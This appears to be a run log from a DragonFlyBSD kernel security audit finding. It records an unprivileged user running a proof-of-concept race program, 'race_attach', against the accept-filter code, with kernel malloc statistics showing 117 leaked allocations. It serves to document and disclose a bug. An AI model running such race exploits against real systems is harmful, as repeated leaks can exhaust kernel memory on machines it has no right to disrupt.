DragonFlyBSD Kernel Audit
DF-2976 / run.log
← back to finding ↓ download raw
# baseline kernel malloc stats (M_ACCF), stock INVARIANTS kernel, accf_http.ko loaded:
$ vmstat -m | grep -i accf
               accf       1      48       0    390M        1

# run as UNPRIVILEGED user maxx (uid 1001):
$ cd /tmp/poc && time ./race_attach 3000 6
iterations=3000 threads=6
iterations with >=2 attach successes (leaked so_accf+str): 117
iterations with exactly 1 success: 2883
iterations with 0 successes: 0
        3.42 real         0.03 user         0.28 sys

$ vmstat -m | grep -i accf
               accf     118   2.79K       0    390M    3.04K
# +117 in-use M_ACCF chunks == exactly the 117 race wins (one leaked 24-byte
# struct so_accf per win; accf_http has accf_create==NULL so no str alloc).